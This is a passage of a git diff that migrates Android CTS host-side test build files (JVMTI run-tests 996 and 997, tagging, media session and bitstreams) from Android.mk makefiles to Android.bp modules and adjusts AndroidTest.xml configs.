-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest995DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-996/Android.bp b/hostsidetests/jvmti/run-tests/test-996/Android.bp
new file mode 100644
index 0000000..9dfdeef
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-996/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest996HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest996DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-996/Android.mk b/hostsidetests/jvmti/run-tests/test-996/Android.mk
deleted file mode 100644
index 771067b..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest996HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
index 208c34c..4b67330 100644
--- a/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
new file mode 100644
index 0000000..11ed826
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest996DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/Android.mk b/hostsidetests/jvmti/run-tests/test-996/app/Android.mk
deleted file mode 100644
index d0500bb..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest996DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-997/Android.bp b/hostsidetests/jvmti/run-tests/test-997/Android.bp
new file mode 100644
index 0000000..8b1733d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-997/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest997HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest997DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-997/Android.mk b/hostsidetests/jvmti/run-tests/test-997/Android.mk
deleted file mode 100644
index 54db2af..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest997HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
index 7c50579..5f36fc3 100644
--- a/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
new file mode 100644
index 0000000..7985c45
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest997DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/Android.mk b/hostsidetests/jvmti/run-tests/test-997/app/Android.mk
deleted file mode 100644
index 4ea37b1..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest997DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/tagging/Android.bp b/hostsidetests/jvmti/tagging/Android.bp
new file mode 100644
index 0000000..29b16d3
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiTaggingHostTestCases",
+
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiTaggingDeviceApp"],
+}
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
deleted file mode 100644
index 1ee7bee..0000000
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
-
-include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/tagging/AndroidTest.xml b/hostsidetests/jvmti/tagging/AndroidTest.xml
index be75c08..e4dd279 100644
--- a/hostsidetests/jvmti/tagging/AndroidTest.xml
+++ b/hostsidetests/jvmti/tagging/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/tagging/OWNERS b/hostsidetests/jvmti/tagging/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/tagging/app/Android.bp b/hostsidetests/jvmti/tagging/app/Android.bp
new file mode 100644
index 0000000..45e4d78
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/app/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiTaggingDeviceApp",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    static_libs: ["CtsJvmtiDeviceAppBase"],
+    jni_libs: ["libctsjvmtiagent"],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
deleted file mode 100644
index bd4faf1..0000000
--- a/hostsidetests/jvmti/tagging/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiTaggingDeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
new file mode 100644
index 0000000..e6b114a
--- /dev/null
+++ b/hostsidetests/media/Android.bp
@@ -0,0 +1,42 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+    name: "CtsMediaHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMediaSessionTestCommon",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
+
+filegroup {
+    name: "CtsMediaSessionTestCommon",
+    srcs: ["common/**/*.java"],
+}
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
deleted file mode 100644
index 4823ec8..0000000
--- a/hostsidetests/media/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, common) \
-    $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsMediaHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call first-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.bp b/hostsidetests/media/app/MediaSessionTest/Android.bp
new file mode 100644
index 0000000..07d1c35
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTest/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaSessionHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMediaSessionTestCommon",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "26",
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
deleted file mode 100644
index fe46d74..0000000
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common)
-
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
new file mode 100644
index 0000000..31e2d54
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaSessionTestHelper",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsMediaSessionTestCommon",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
deleted file mode 100644
index 514f86a..0000000
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
-
diff --git a/hostsidetests/media/bitstreams/Android.bp b/hostsidetests/media/bitstreams/Android.bp
new file mode 100644
index 0000000..186a0ef
--- /dev/null
+++ b/hostsidetests/media/bitstreams/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsMediaBitstreamsTestCases",
+    srcs: [
+        "src/**/*.java",
+	"common/src/**/*.java"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: ["DynamicConfig.xml"],
+    required: ["cts-dynamic-config"],
+}
diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
deleted file mode 100644
index 2133f39..0000000
--- a/hostsidetests/media/bitstreams/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, common/src)
-
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := CtsMediaBitstreamsTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_JAVA_RESOURCE_FILES := $(LOCAL_PATH)/DynamicConfig.xml
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 1621aa7..c9e30e0a 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -16,6 +16,12 @@
 <configuration description="Config for CTS Sample host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="media-download-only" value="true" />
     </target_preparer>
@@ -26,6 +32,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
         <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+        <option name="version" value="9.0_r1"/>
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
         <option name="src-dir" value="/sdcard/report-log-files/"/>
diff --git a/hostsidetests/media/bitstreams/app/Android.bp b/hostsidetests/media/bitstreams/app/Android.bp
new file mode 100644
index 0000000..f7e0395
--- /dev/null
+++ b/hostsidetests/media/bitstreams/app/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaBitstreamsDeviceSideTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "media-bitstreams-common-devicesidelib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
deleted file mode 100644
index 9ed5506..0000000
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
